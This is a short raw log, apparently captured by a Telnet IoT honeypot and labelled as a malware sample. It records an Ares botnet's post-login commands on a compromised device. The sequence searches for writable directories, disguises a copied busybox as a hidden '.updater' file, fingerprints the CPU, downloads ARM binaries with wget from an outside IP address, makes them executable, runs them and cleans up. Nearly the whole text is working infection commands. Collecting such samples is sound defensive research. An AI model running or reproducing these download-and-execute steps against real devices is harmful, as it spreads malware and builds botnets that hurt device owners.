Catched by Telnet-Iot-Honeypot

Gemsbok_malware_sample_1

enable
system
shell
sh
linuxshell
>/tmp/.ptmx && cd /tmp/
>/var/.ptmx && cd /var/
>/dev/.ptmx && cd /dev/
>/mnt/.ptmx && cd /mnt/
>/var/run/.ptmx && cd /var/run/
>/var/tmp/.ptmx && cd /var/tmp/
>/.ptmx && cd /
>/dev/netslink/.ptmx && cd /dev/netslink/
>/dev/shm/.ptmx && cd /dev/shm/
>/bin/.ptmx && cd /bin/
>/etc/.ptmx && cd /etc/
>/boot/.ptmx && cd /boot/
>/usr/.ptmx && cd /usr/
/bin/busybox rm -rf .updater aresupdater
/bin/busybox cp /bin/busybox .updater; >.updater; /bin/busybox chmod 777 .updater; /bin/busybox DARK
/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox
/bin/busybox DARK
/bin/busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo; /bin/busybox DARK
/bin/busybox wget; /bin/busybox tftp; /bin/busybox DARK
/bin/busybox wget http://89.35.39.74:80/33bi/Ares.arm7 -O - > .updater; /bin/busybox chmod 777 .updater; /bin/busybox DARK
./.updater telnet; /bin/busybox ARES
/bin/busybox rm -rf aresupdater .updater
/bin/busybox cp /bin/busybox .updater; >.updater; /bin/busybox chmod 777 .updater; /bin/busybox DARK
/bin/busybox wget; /bin/busybox tftp; /bin/busybox DARK
/bin/busybox wget http://89.35.39.74:80/33bi/Ares.arm -O - > .updater; /bin/busybox chmod 777 .updater; /bin/busybox DARK
./.updater telnet; /bin/busybox ARES
/bin/busybox rm -rf aresupdater; >.updater; /bin/busybox DARK